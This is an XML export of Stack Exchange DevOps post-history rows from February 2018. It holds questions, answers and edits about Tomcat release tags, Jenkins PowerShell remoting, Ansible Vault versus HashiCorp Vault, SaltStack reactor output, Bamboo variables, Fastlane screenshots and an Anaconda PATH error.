  <row Id="10345" PostHistoryTypeId="2" PostId="3303" RevisionGUID="52b4e1c3-f8f3-48e9-a3dd-f77cf38fe801" CreationDate="2018-02-08T00:49:19.810" UserId="47" Text="Indeed, releases don't appear to have been registered on GitHub, the `releases` list returned by the REST is empty, most likely explaining the 404 returned for `releases/latest`:&#xD;&#xA;&#xD;&#xA;    curl -i https://api.github.com/repos/apache/tomcat/releases&#xD;&#xA;    HTTP/1.1 200 OK&#xD;&#xA;    ...&#xD;&#xA;    &#xD;&#xA;    [&#xD;&#xA;    &#xD;&#xA;    ]&#xD;&#xA;&#xD;&#xA;There are however tags registered, including some apparently mapping to the 9.0.X versions:&#xD;&#xA;&#xD;&#xA;    curl -i https://api.github.com/repos/apache/tomcat/tags | &amp; grep '&quot;name&quot;'&#xD;&#xA;        &quot;name&quot;: &quot;TONCAT_9_0_0_M23&quot;,&#xD;&#xA;        &quot;name&quot;: &quot;TOMCAT_9_0_5&quot;,&#xD;&#xA;        &quot;name&quot;: &quot;TOMCAT_9_0_4&quot;,&#xD;&#xA;        &quot;name&quot;: &quot;TOMCAT_9_0_3&quot;,&#xD;&#xA;        &quot;name&quot;: &quot;TOMCAT_9_0_2&quot;,&#xD;&#xA;        &quot;name&quot;: &quot;TOMCAT_9_0_1&quot;,&#xD;&#xA;        &quot;name&quot;: &quot;TOMCAT_9_0_0&quot;,&#xD;&#xA;        &quot;name&quot;: &quot;TOMCAT_9_0_0_m27&quot;,&#xD;&#xA;        ...&#xD;&#xA;        &quot;name&quot;: &quot;TOMCAT_9_0_0_M6&quot;,&#xD;&#xA;&#xD;&#xA;Example of a tag info, which *might* be of use:&#xD;&#xA;&#xD;&#xA;      {&#xD;&#xA;        &quot;name&quot;: &quot;TOMCAT_9_0_5&quot;,&#xD;&#xA;        &quot;zipball_url&quot;: &quot;https://api.github.com/repos/apache/tomcat/zipball/TOMCAT_9_0_5&quot;,&#xD;&#xA;        &quot;tarball_url&quot;: &quot;https://api.github.com/repos/apache/tomcat/tarball/TOMCAT_9_0_5&quot;,&#xD;&#xA;        &quot;commit&quot;: {&#xD;&#xA;          &quot;sha&quot;: &quot;e0fdefed3d9e2a4dbfd36a5a79e75e0eadaa201d&quot;,&#xD;&#xA;          &quot;url&quot;: &quot;https://api.github.com/repos/apache/tomcat/commits/e0fdefed3d9e2a4dbfd36a5a79e75e0eadaa201d&quot;&#xD;&#xA;        }&#xD;&#xA;      },&#xD;&#xA;&#xD;&#xA;But the info doesn't appear consistent with the info on the Tomcat &#xD;&#xA;homepage you referenced: &#xD;&#xA;&#xD;&#xA;- the `9.0.5` version isn't listed as released on the homepage&#xD;&#xA;- only `9.X` versions show up, older ones don't&#xD;&#xA;&#xD;&#xA;So I'm not sure if this is helpful." ContentLicense="CC BY-SA 3.0" />
  <row Id="10346" PostHistoryTypeId="2" PostId="3304" RevisionGUID="12b1c5ad-de35-49e6-ac3c-a6e98a2d3363" CreationDate="2018-02-08T02:50:31.253" UserId="4328" Text="I'm guessing that your PowerShell script is hanging because of the Invoke-Command command. My be is PowerShell is either prompting you to for something, you are passing in an argument incorrectly, or you are executing the script in your script block incorrectly? I'm not sure exactly how Script-Block works when referencing paths to PowerShell scripts, but it could be because C:\hg\Update.ps1 does not exist on the remote server. It could also be because of the commands in your &quot;C:\hg\Update.ps1&quot; script. Some debugging tips that I recommend:&#xD;&#xA;&#xD;&#xA; 1. Remove your Invoke-Command line and see if the program executes.&#xD;&#xA; 2. Replace the ScriptBlock command with a simpler command, like Get-Culture, command and see if it still hangs. &#xD;&#xA; 3. Replace your C:\hg\Update.ps1 with another script that performs a simple command.&#xD;&#xA; 4. If all of those options still hang, try using the simple script method, but with different args. " ContentLicense="CC BY-SA 3.0" />
  <row Id="10347" PostHistoryTypeId="5" PostId="3304" RevisionGUID="29c8bde7-8c39-4b4f-a200-20a71302176a" CreationDate="2018-02-08T02:59:15.717" UserId="4328" Comment="added 192 characters in body" Text="I'm guessing that your PowerShell script is hanging because of the Invoke-Command command. My be is PowerShell is either prompting you to for something, you are passing in an argument incorrectly, or you are executing the script in your script block incorrectly? I'm not sure exactly how Script-Block works when referencing paths to PowerShell scripts, but it could be because C:\hg\Update.ps1 does not exist on the remote server. It could also be because of the commands in your &quot;C:\hg\Update.ps1&quot; script. Some debugging tips that I recommend:&#xD;&#xA;&#xD;&#xA; 1. Remove your Invoke-Command line and see if the program executes.&#xD;&#xA; 2. Replace the ScriptBlock command with a simpler command, like Get-Culture, command and see if it still hangs. &#xD;&#xA; 3. Replace your C:\hg\Update.ps1 with another script that performs a simple command.&#xD;&#xA; 4. If all of those options still hang, try using the simple script method, but with different args. &#xD;&#xA;&#xD;&#xA;And of course as with all PowerShell remoting issues, you should check that your firewall and network settings on the remote server allow connections from Jenkins over ports 5985 and 5986." ContentLicense="CC BY-SA 3.0" />
  <row Id="10349" PostHistoryTypeId="5" PostId="3300" RevisionGUID="40e72fd8-64a2-48ef-b30a-7b6c1a3485ef" CreationDate="2018-02-08T05:53:39.643" UserId="6412" Comment="added 195 characters in body" Text="The AWS Command Line Interface (CLI) is a unified tool to manage AWS services. Multiple AWS services can be controlled via the command line and various actions can be automated through this tool." ContentLicense="CC BY-SA 3.0" />
  <row Id="10350" PostHistoryTypeId="24" PostId="3300" RevisionGUID="40e72fd8-64a2-48ef-b30a-7b6c1a3485ef" CreationDate="2018-02-08T05:53:39.643" Comment="Proposed by 6412 approved by 40, 47 edit id of 604" ContentLicense="CC BY-SA 3.0" />
  <row Id="10353" PostHistoryTypeId="2" PostId="3305" RevisionGUID="682f0639-94ae-40c1-bb69-dc3bec1b0dd7" CreationDate="2018-02-08T07:03:18.557" UserId="960" Text="&gt; We are planning to use ansible vault in our project to prevent leaking passwords or keys in git.&#xA;&#xA;Since you haven't yet implemented anything, you might reconsider this. Using a system like Ansible vault has a number of security downsides:&#xA;&#xA;* there is no audit trail of who has accessed it&#xA;* when an employee leaves, it is easy for them to take the secret store with them&#xA;* when an employee leaves, removing their access means changing the password and redistributing it to everyone else&#xA;* a compromised Ansible vault password can be forever used on an old version of the vault, as stored in version control&#xA;* secrets have to be static&#xA;&#xA;A potentially much more secure, albeit more complex, system that does not have these downsides is to use Hashicorp Vault to store your secrets. You can then still pull values from it almost as easily as from Ansible vault by using https://github.com/jhaals/ansible-vault .&#xA;&#xA;You then have to manage authentication to Hashicorp Vault, though, and that is [the turtle question](https://danielsomerfield.github.io/turtles/). For humans, I think the best solution is to prompt for a password periodically and expire the token after a short amount of time; for machines, to use [the AWS authentication backend](https://www.vaultproject.io/docs/auth/aws.html) or similar. You can never entirely get rid of the need for authentication somewhere, but you can make it harder for an attacker to gain access to it.&#xA;&#xA;Now, if setting up and administering a secrets server is too much for you, then certainly you can just use Ansible vault. Why store the password at all on the individual machines though? For interactive use, you can just prompt for the password, and users can store it in their password manager of choice. iTerm on OS X has a password manager that integrates with Keychain.app that makes this particularly easy there." ContentLicense="CC BY-SA 3.0" />
  <row Id="10354" PostHistoryTypeId="33" PostId="3266" RevisionGUID="6aac4dd7-1eac-4675-9a87-0a270fd8417e" CreationDate="2018-02-08T08:14:56.040" UserId="3628" Comment="15" />
  <row Id="10355" PostHistoryTypeId="5" PostId="3266" RevisionGUID="fed2f0a5-7a27-42ff-a2ab-fea7503972d2" CreationDate="2018-02-08T08:19:23.817" UserId="3628" Comment="added 217 characters in body" Text="I have been using AWS for a while now. I always have the difficulty tracking AWS resources and how they are interconnected. Obviously, I am using Terraform but still, there is always ad-hoc operations that cut down my visibility.&#xD;&#xA;&#xD;&#xA;Since I have been charged multiple times for resources/services that are present but not used by me.&#xD;&#xA;&#xD;&#xA;Unused services include resources that are not pointing to other services but present in the AWS environment.&#xD;&#xA;&#xD;&#xA;Tools suggestions are also welcome." ContentLicense="CC BY-SA 3.0" />
  <row Id="10357" PostHistoryTypeId="6" PostId="3290" RevisionGUID="8c293fad-833c-485c-8c66-a88028415f05" CreationDate="2018-02-08T09:44:39.513" UserId="6375" Comment="Adding a tag for better filtering " Text="&lt;security&gt;&lt;aws-cli&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="10358" PostHistoryTypeId="24" PostId="3290" RevisionGUID="8c293fad-833c-485c-8c66-a88028415f05" CreationDate="2018-02-08T09:44:39.513" Comment="Proposed by 6375 approved by 40, 3 edit id of 606" ContentLicense="CC BY-SA 3.0" />
  <row Id="10359" PostHistoryTypeId="5" PostId="3301" RevisionGUID="82c7d998-d014-40c3-a276-3f081d493354" CreationDate="2018-02-08T09:44:45.867" UserId="6412" Comment="added 31 characters in body" Text="aws &lt;command&gt; &lt;subcommand&gt; help" ContentLicense="CC BY-SA 3.0" />
  <row Id="10360" PostHistoryTypeId="24" PostId="3301" RevisionGUID="82c7d998-d014-40c3-a276-3f081d493354" CreationDate="2018-02-08T09:44:45.867" Comment="Proposed by 6412 approved by 40, 3 edit id of 605" ContentLicense="CC BY-SA 3.0" />
  <row Id="10362" PostHistoryTypeId="5" PostId="3304" RevisionGUID="8f501b3d-2737-4eea-9291-d488fa91882c" CreationDate="2018-02-08T14:01:03.583" UserId="4328" Comment="added 8 characters in body" Text="I'm guessing that your PowerShell script is hanging because of the Invoke-Command command. My best guess is PowerShell is either prompting you to for something, you are passing in an argument incorrectly, or you are executing the script in your script block incorrectly. I'm not sure exactly how Script-Block works when referencing paths to PowerShell scripts, but it could be because C:\hg\Update.ps1 does not exist on the remote server. It could also be because of the commands in your &quot;C:\hg\Update.ps1&quot; script. Some debugging tips that I recommend:&#xD;&#xA;&#xD;&#xA; 1. Remove your Invoke-Command line and see if the program executes.&#xD;&#xA; 2. Replace the ScriptBlock command with a simpler command, like Get-Culture, command and see if it still hangs. &#xD;&#xA; 3. Replace your C:\hg\Update.ps1 with another script that performs a simple command.&#xD;&#xA; 4. If all of those options still hang, try using the simple script method, but with different args. &#xD;&#xA;&#xD;&#xA;And of course as with all PowerShell remoting issues, you should check that your firewall and network settings on the remote server allow connections from Jenkins over ports 5985 and 5986." ContentLicense="CC BY-SA 3.0" />
  <row Id="10363" PostHistoryTypeId="2" PostId="3306" RevisionGUID="c7ce6560-d022-478b-9698-819500427b4c" CreationDate="2018-02-08T14:11:56.130" UserId="3899" Text="Is there a way to get a progress of working out of saltstack reactor in realtime via API after sending event to reactor via API request? &#xD;&#xA;&#xD;&#xA;For now, the single output which is possible to see is {&quot;success&quot;: true} only.&#xD;&#xA;&#xD;&#xA;For example, We send some event to the reactor via API: &#xD;&#xA;&#xD;&#xA;    curl -X POST -H 'Content-Type: application/json' -d '{&quot;state_id&quot;:&quot;my_state&quot;}' http://192.168.110.7:8078/hook/test &#xD;&#xA;But We obtain only: &#xD;&#xA;&#xD;&#xA;    {&quot;success&quot;: true}&#xD;&#xA;&#xD;&#xA;We can not see what happens in the reactor itself after sending this API request. &#xD;&#xA;&#xD;&#xA;Of course, We can use CLI commands on master, but I want to track it via API in real time to see what happens.&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="10364" PostHistoryTypeId="1" PostId="3306" RevisionGUID="c7ce6560-d022-478b-9698-819500427b4c" CreationDate="2018-02-08T14:11:56.130" UserId="3899" Text="Ensure that reactor worked out and see the result of execution state in SaltStack" ContentLicense="CC BY-SA 3.0" />
  <row Id="10365" PostHistoryTypeId="3" PostId="3306" RevisionGUID="c7ce6560-d022-478b-9698-819500427b4c" CreationDate="2018-02-08T14:11:56.130" UserId="3899" Text="&lt;configuration-management&gt;&lt;continuous-delivery&gt;&lt;salt&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="10366" PostHistoryTypeId="5" PostId="3304" RevisionGUID="795250b8-06bb-4be0-ae29-1c1d614a8ee7" CreationDate="2018-02-08T14:47:11.683" UserId="4328" Comment="deleted 3 characters in body" Text="I'm guessing that your PowerShell script is hanging because of the Invoke-Command command. My best guess is PowerShell is either prompting you for something, you are passing in an argument incorrectly, or you are executing the script in your script block incorrectly. I'm not sure exactly how Script-Block works when referencing paths to PowerShell scripts, but it could be because C:\hg\Update.ps1 does not exist on the remote server. It could also be because of the commands in your &quot;C:\hg\Update.ps1&quot; script. Some debugging tips that I recommend:&#xD;&#xA;&#xD;&#xA; 1. Remove your Invoke-Command line and see if the program executes.&#xD;&#xA; 2. Replace the ScriptBlock command with a simpler command, like Get-Culture, command and see if it still hangs. &#xD;&#xA; 3. Replace your C:\hg\Update.ps1 with another script that performs a simple command.&#xD;&#xA; 4. If all of those options still hang, try using the simple script method, but with different args. &#xD;&#xA;&#xD;&#xA;And of course as with all PowerShell remoting issues, you should check that your firewall and network settings on the remote server allow connections from Jenkins over ports 5985 and 5986." ContentLicense="CC BY-SA 3.0" />
  <row Id="10370" PostHistoryTypeId="2" PostId="3308" RevisionGUID="f7df2f07-bb5c-420c-99a7-11dba24f0d01" CreationDate="2018-02-08T15:11:09.540" UserId="4954" Text="This gives a short commit message&#xD;&#xA;&#xD;&#xA;    git show -s $GIT_COMMIT --format=&quot;format:%s&quot;&#xD;&#xA;&#xD;&#xA;I'd probably put this in the &quot;Excute shell&quot; command box&#xD;&#xA;&#xD;&#xA;Hope this helps!" ContentLicense="CC BY-SA 3.0" />
  <row Id="10371" PostHistoryTypeId="2" PostId="3309" RevisionGUID="0d56952c-8321-4340-97b5-0196f1505373" CreationDate="2018-02-08T15:24:08.223" UserId="4954" Text="I don't know if there is some GUI way to do this&#xD;&#xA;&#xD;&#xA;I am triggering the same plan in different ways from a REST request by using a variable&#xD;&#xA;&#xD;&#xA;To do this&#xD;&#xA;1) define a variable in the plan configuration variables ie ``myvariable``&#xD;&#xA;2) in the REST request set ``bamboo.variable.myvariable`` to the value required ie &quot;1&quot; or &quot;2&quot;&#xD;&#xA;3) in the plan stage add a task of script and use the variable as ``$bamboo_myvariable`` for instance&#xD;&#xA;&#xD;&#xA;    if [ &quot;$bamboo_pullnumber&quot; == &quot;1&quot; ]; then &#xD;&#xA;       # stuff to do variation 1&#xD;&#xA;    fi&#xD;&#xA;    if [ &quot;$bamboo_myvariable&quot; == &quot;2&quot; ]; then&#xD;&#xA;       # suff to do variation 2&#xD;&#xA;    fi&#xD;&#xA;&#xD;&#xA;If you want to alter behaviour by branch there are variables such as &quot;bamboo_planRepository_1_branch&quot; which are available by default and could be used ina  similar way" ContentLicense="CC BY-SA 3.0" />
  <row Id="10372" PostHistoryTypeId="2" PostId="3310" RevisionGUID="3c804e92-9056-47c4-b91d-cd8c3267bafd" CreationDate="2018-02-08T15:31:04.630" UserId="4954" Text="If you install the manager webapp with a default set up of tomcat then it is possible to use this to install and restart applications, see &#xD;&#xA;&#xD;&#xA;https://tomcat.apache.org/tomcat-7.0-doc/manager-howto.html#Reload_An_Existing_Application&#xD;&#xA;&#xD;&#xA;I feel that you are asking the wrong question however.  The problem is not how to restart Tomcat but how to be sure that it has restarted&#xD;&#xA;&#xD;&#xA;Set a host, tomcat_port and check path then use shell code like this&#xD;&#xA;&#xD;&#xA;    while [ &quot;$response_code&quot; != &quot;200&quot; ]&#xD;&#xA;    do&#xD;&#xA;            echo &quot;Checking whether tomcat (${host}:${tomcat_port}/$check) is alive...&quot;&#xD;&#xA;            response_code=`curl -sL -w &quot;%{http_code}&quot; &quot;http://${host}:${tomcat_port}/${check}&quot; -o /dev/null`&#xD;&#xA;            echo &quot;Received response code $response_code&quot;&#xD;&#xA;            if [ &quot;$response_code&quot; != &quot;200&quot; ]&#xD;&#xA;            then&#xD;&#xA;                    echo &quot;Waiting for a bit...&quot;&#xD;&#xA;                    sleep 15s&#xD;&#xA;            fi;&#xD;&#xA;    done;&#xD;&#xA;    echo &quot;Tomcat is alive!&quot;&#xD;&#xA;&#xD;&#xA;This will wait until the Tomcat comes back - or the containing Jenkins job will time out eventually" ContentLicense="CC BY-SA 3.0" />
  <row Id="10373" PostHistoryTypeId="5" PostId="3309" RevisionGUID="9b4ab789-9e48-4b10-a6e3-3b98fc0fff7f" CreationDate="2018-02-08T16:03:17.730" UserId="4954" Comment="oops, typo.  make example clearer" Text="I don't know if there is some GUI way to do this&#xD;&#xA;&#xD;&#xA;I am triggering the same plan in different ways from a REST request by using a variable&#xD;&#xA;&#xD;&#xA;To do this&#xD;&#xA;1) define a variable in the plan configuration variables ie ``myvariable``&#xD;&#xA;2) in the REST request set ``bamboo.variable.myvariable`` to the value required ie &quot;1&quot; or &quot;2&quot;&#xD;&#xA;3) in the plan stage add a task of script and use the variable as ``$bamboo_myvariable`` for instance&#xD;&#xA;&#xD;&#xA;    if [ &quot;$bamboo_myvariable&quot; == &quot;1&quot; ]; then &#xD;&#xA;       # stuff to do variation 1&#xD;&#xA;    fi&#xD;&#xA;    if [ &quot;$bamboo_myvariable&quot; == &quot;2&quot; ]; then&#xD;&#xA;       # suff to do variation 2&#xD;&#xA;    fi&#xD;&#xA;&#xD;&#xA;If you want to alter behaviour by branch there are variables such as &quot;bamboo_planRepository_1_branch&quot; which are available by default and could be used ina  similar way" ContentLicense="CC BY-SA 3.0" />
  <row Id="10375" PostHistoryTypeId="2" PostId="3312" RevisionGUID="e2f3097d-32c3-46c1-b3a1-74927b2a1c40" CreationDate="2018-02-08T16:45:24.520" UserId="2845" Text="Another option if you are packaging your binaries (eg, as .deb or .rpm files) is to use a system like Foreman/Katello and the [Anisble plugin.](https://www.theforeman.org/plugins/foreman_ansible/2.x/index.html) Katello was originally developed as a plugin for Foreman, and then Merged into the Foreman project. It is backed by Red Hat and re-branded as [Red Hat Satellite 6](https://access.redhat.com/products/red-hat-satellite) if you wish to use their licensed and supported version. While the whole system collectively is for management of the Lifecycle of machines (both physical and virtual), it can also manage Docker containers too.&#xD;&#xA;&#xD;&#xA;But for package management, Katello will allow you to import your packages after they are built. You are also able to create environments and content views that allow you to version and control which servers get what when. Essentially, this gives you all of the benefits of a [WSUS server](https://en.wikipedia.org/wiki/Windows_Server_Update_Services) for managing the release of your updates.&#xD;&#xA;&#xD;&#xA;As an added bonus, Foreman can also create, destroy and build VMs for you with your cloud provider, or in your virtualization stack (if you do this in-house) using kickstart scripts." ContentLicense="CC BY-SA 3.0" />
  <row Id="10376" PostHistoryTypeId="2" PostId="3313" RevisionGUID="dba2d692-e325-4e8e-a027-4259536616fe" CreationDate="2018-02-08T20:33:03.243" UserId="4328" Text="I'm currently using Fastlane to capture screenshots of my application to be used in both the iOS and Android app store. My problem is that Fastlane is only able to capture the loading screen and the username/password authentication screen. Is there a way to pass credentials (possibly test creds with limited access) into Fastlane to allow it to capture other screenshots of my application? If not, what other methods could I use?" ContentLicense="CC BY-SA 3.0" />
  <row Id="10377" PostHistoryTypeId="1" PostId="3313" RevisionGUID="dba2d692-e325-4e8e-a027-4259536616fe" CreationDate="2018-02-08T20:33:03.243" UserId="4328" Text="Fastlane Screenshots with Authentication" ContentLicense="CC BY-SA 3.0" />
  <row Id="10378" PostHistoryTypeId="3" PostId="3313" RevisionGUID="dba2d692-e325-4e8e-a027-4259536616fe" CreationDate="2018-02-08T20:33:03.243" UserId="4328" Text="&lt;ios&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="10379" PostHistoryTypeId="2" PostId="3314" RevisionGUID="a3084b62-c156-488d-be0a-5c762df43f35" CreationDate="2018-02-08T20:43:51.287" UserId="5316" Text="I found the missing piece in the [Lockable resource plugin][1].&#xD;&#xA;&#xD;&#xA;    lock(label: 'server-pool', quantity: 1) {&#xD;&#xA;       ...&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;Now the servers to be used for testing don't need to be managed as slaves at all and that greatly simplifies things.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://wiki.jenkins.io/display/JENKINS/Lockable+Resources+Plugin" ContentLicense="CC BY-SA 3.0" />
  <row Id="10386" PostHistoryTypeId="2" PostId="3316" RevisionGUID="2641c1b0-6b46-4d79-9385-273ec362dedd" CreationDate="2018-02-09T15:05:15.490" UserId="6441" Text="Please check in Fastlane docs Launch Arguments under Advanced Snapshot section https://docs.fastlane.tools/getting-started/ios/screenshots/ I think it can help" ContentLicense="CC BY-SA 3.0" />
  <row Id="10387" PostHistoryTypeId="5" PostId="3316" RevisionGUID="73054d3c-9647-4390-b72e-29f6124ef1be" CreationDate="2018-02-09T16:59:41.607" UserId="47" Comment="added doc quote" Text="Please check in Fastlane docs Launch Arguments under Advanced Snapshot section https://docs.fastlane.tools/getting-started/ios/screenshots/ I think it can help&#xD;&#xA;&#xD;&#xA;&gt; Launch Arguments&#xD;&#xA;&gt; &#xD;&#xA;&gt; You can provide additional arguments to your app on launch. These&#xD;&#xA;&gt; strings will be available in your app (eg. not in the testing target)&#xD;&#xA;&gt; through `NSProcessInfo.processInfo().arguments`. Alternatively, use&#xD;&#xA;&gt; user-default syntax (`-key value`) and they will be available as&#xD;&#xA;&gt; key-value pairs in `NSUserDefaults.standardUserDefaults()`.&#xD;&#xA;&gt; &#xD;&#xA;&gt;     launch_arguments([&#xD;&#xA;&gt;       &quot;-firstName Felix -lastName Krause&quot;&#xD;&#xA;&gt;     ])&#xD;&#xA;&gt; &#xD;&#xA;&gt;     name.text = NSUserDefaults.standardUserDefaults().stringForKey(&quot;firstName&quot;)&#xD;&#xA;&gt;     // name.text = &quot;Felix&quot;&#xD;&#xA;&gt; &#xD;&#xA;&gt; *snapshot* includes `-FASTLANE_SNAPSHOT YES`, which will set a temporary user default for the key `FASTLANE_SNAPSHOT`, you may use&#xD;&#xA;&gt; this to detect when the app is run by *snapshot*.&#xD;&#xA;&gt; &#xD;&#xA;&gt;     if NSUserDefaults.standardUserDefaults().boolForKey(&quot;FASTLANE_SNAPSHOT&quot;)&#xD;&#xA;&gt; {&#xD;&#xA;&gt;         // runtime check that we are in snapshot mode&#xD;&#xA;&gt;     }&#xD;&#xA;&gt; &#xD;&#xA;&gt; Specify multiple argument strings and snapshot will generate&#xD;&#xA;&gt; screenshots for each combination of arguments, devices, and languages.&#xD;&#xA;&gt; This is useful for comparing the same screenshots with different&#xD;&#xA;&gt; feature flags, dynamic text sizes, and different data sets.&#xD;&#xA;&gt; &#xD;&#xA;&gt;     # Snapfile for A/B Test Comparison&#xD;&#xA;&gt;     launch_arguments([&#xD;&#xA;&gt;       &quot;-secretFeatureEnabled YES&quot;,&#xD;&#xA;&gt;       &quot;-secretFeatureEnabled NO&quot;&#xD;&#xA;&gt;     ])&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="10393" PostHistoryTypeId="2" PostId="3317" RevisionGUID="3d382eff-5ae3-48c9-b254-82e4355e1ba4" CreationDate="2018-02-09T17:10:31.040" UserId="6445" Text="This is what comes up any time I start up Anaconda Prompt - &#xD;&#xA;&#xD;&#xA;    \Xtralien was unexpected at this time.&#xD;&#xA;    C:\Users\User Name&gt;            @SET &quot;PATH=C:\Program Files (x86)\QuantumWise\VNL-ATK-2016.3\bin;C:\ProgramData\Oracle\Java\javapath;C:\Program Files (x86)\Intel\iCLS Client\;C:\Program Files\Intel\iCLS Client\;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Program Files (x86)\Intel\Intel(R) Management Engine Components\DAL;C:\Program Files\Intel\Intel(R) Management Engine Components\DAL;C:\Program Files (x86)\Intel\Intel(R) Management Engine Components\IPT;C:\Program Files\Intel\Intel(R) Management Engine Components\IPT;C:\Program Files (x86)\NVIDIA Corporation\PhysX\Common;C:\Program Files\Intel\IntelSGXPSW\bin\x64\Release\;C:\Program Files\Intel\IntelSGXPSW\bin\win32\Release\;C:\Program Files (x86)\MiKTeX 2.9\miktex\bin\;C:\Program Files (x86)\LyX 2.1\Perl\bin;C:\Program Files\MATLAB\R2017a\runtime\win64;C:\Program Files\MATLAB\R2017a\bin;C:\Program Files (x86)\Calibre2\;C:\Program Files (x86)\Skype\Phone\;C:\Program Files\Git\cmd;C:\Program Files (x86)\QuantumWise\VNL-ATK-2016.3\bin;C:\ProgramData\Oracle\Java\javapath;C:\Program Files (x86)\Intel\iCLS Client\;C:\Program Files\Intel\iCLS Client\;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Program Files (x86)\Intel\Intel(R) Management Engine Components\DAL;C:\Program Files\Intel\Intel(R) Management Engine Components\DAL;C:\Program Files (x86)\Intel\Intel(R) Management Engine Components\IPT;C:\Program Files\Intel\Intel(R) Management Engine Components\IPT;C:\Program Files (x86)\NVIDIA Corporation\PhysX\Common;C:\Program Files\Intel\IntelSGXPSW\bin\x64\Release\;C:\Program Files\Intel\IntelSGXPSW\bin\win32\Release\;C:\Program Files (x86)\MiKTeX 2.9\miktex\bin\;C:\Program Files (x86)\LyX 2.1\Perl\bin;C:\Program Files\MATLAB\R2017a\runtime\win64;C:\Program Files\MATLAB\R2017a\bin;C:\Program Files (x86)\Calibre2\;C:\Program Files (x86)\Skype\Phone\;&quot;C:\Program Files (x86)\Xtralien Python Distribution\Scripts&quot;;&quot;C:\Program Files (x86)\Xtralien Python Distribution&quot;;c:\FullProf_Suite&quot;&#xD;&#xA;    C:\Users\User Name&gt;&#xD;&#xA;&#xD;&#xA;I am guessing it's because of a conflict with an [old Xtralien python installation][1] that I had and forgot about. I uninstalled that and reinstalled Anaconda but it hasn't resolved the problem.&#xD;&#xA;&#xD;&#xA;Thanks for any leads!&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://www.ossila.com/pages/xtralien-scientific-python" ContentLicense="CC BY-SA 3.0" />
  <row Id="10394" PostHistoryTypeId="1" PostId="3317" RevisionGUID="3d382eff-5ae3-48c9-b254-82e4355e1ba4" CreationDate="2018-02-09T17:10:31.040" UserId="6445" Text="Problem with Anaconda installation" ContentLicense="CC BY-SA 3.0" />
  <row Id="10395" PostHistoryTypeId="3" PostId="3317" RevisionGUID="3d382eff-5ae3-48c9-b254-82e4355e1ba4" CreationDate="2018-02-09T17:10:31.040" UserId="6445" Text="&lt;python&gt;&lt;installation&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="10396" PostHistoryTypeId="5" PostId="3317" RevisionGUID="972feaa2-6cec-40ee-aafa-4ed14e76da7a" CreationDate="2018-02-09T17:11:51.747" UserId="40" Comment="remove noise" Text="This is what comes up any time I start up Anaconda Prompt - &#xD;&#xA;&#xD;&#xA;    \Xtralien was unexpected at this time.&#xD;&#xA;    C:\Users\User Name&gt;            @SET &quot;PATH=C:\Program Files (x86)\QuantumWise\VNL-ATK-2016.3\bin;C:\ProgramData\Oracle\Java\javapath;C:\Program Files (x86)\Intel\iCLS Client\;C:\Program Files\Intel\iCLS Client\;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Program Files (x86)\Intel\Intel(R) Management Engine Components\DAL;C:\Program Files\Intel\Intel(R) Management Engine Components\DAL;C:\Program Files (x86)\Intel\Intel(R) Management Engine Components\IPT;C:\Program Files\Intel\Intel(R) Management Engine Components\IPT;C:\Program Files (x86)\NVIDIA Corporation\PhysX\Common;C:\Program Files\Intel\IntelSGXPSW\bin\x64\Release\;C:\Program Files\Intel\IntelSGXPSW\bin\win32\Release\;C:\Program Files (x86)\MiKTeX 2.9\miktex\bin\;C:\Program Files (x86)\LyX 2.1\Perl\bin;C:\Program Files\MATLAB\R2017a\runtime\win64;C:\Program Files\MATLAB\R2017a\bin;C:\Program Files (x86)\Calibre2\;C:\Program Files (x86)\Skype\Phone\;C:\Program Files\Git\cmd;C:\Program Files (x86)\QuantumWise\VNL-ATK-2016.3\bin;C:\ProgramData\Oracle\Java\javapath;C:\Program Files (x86)\Intel\iCLS Client\;C:\Program Files\Intel\iCLS Client\;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Program Files (x86)\Intel\Intel(R) Management Engine Components\DAL;C:\Program Files\Intel\Intel(R) Management Engine Components\DAL;C:\Program Files (x86)\Intel\Intel(R) Management Engine Components\IPT;C:\Program Files\Intel\Intel(R) Management Engine Components\IPT;C:\Program Files (x86)\NVIDIA Corporation\PhysX\Common;C:\Program Files\Intel\IntelSGXPSW\bin\x64\Release\;C:\Program Files\Intel\IntelSGXPSW\bin\win32\Release\;C:\Program Files (x86)\MiKTeX 2.9\miktex\bin\;C:\Program Files (x86)\LyX 2.1\Perl\bin;C:\Program Files\MATLAB\R2017a\runtime\win64;C:\Program Files\MATLAB\R2017a\bin;C:\Program Files (x86)\Calibre2\;C:\Program Files (x86)\Skype\Phone\;&quot;C:\Program Files (x86)\Xtralien Python Distribution\Scripts&quot;;&quot;C:\Program Files (x86)\Xtralien Python Distribution&quot;;c:\FullProf_Suite&quot;&#xD;&#xA;    C:\Users\User Name&gt;&#xD;&#xA;&#xD;&#xA;I am guessing it's because of a conflict with an [old Xtralien python installation][1] that I had and forgot about. I uninstalled that and reinstalled Anaconda but it hasn't resolved the problem.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://www.ossila.com/pages/xtralien-scientific-python" ContentLicense="CC BY-SA 3.0" />
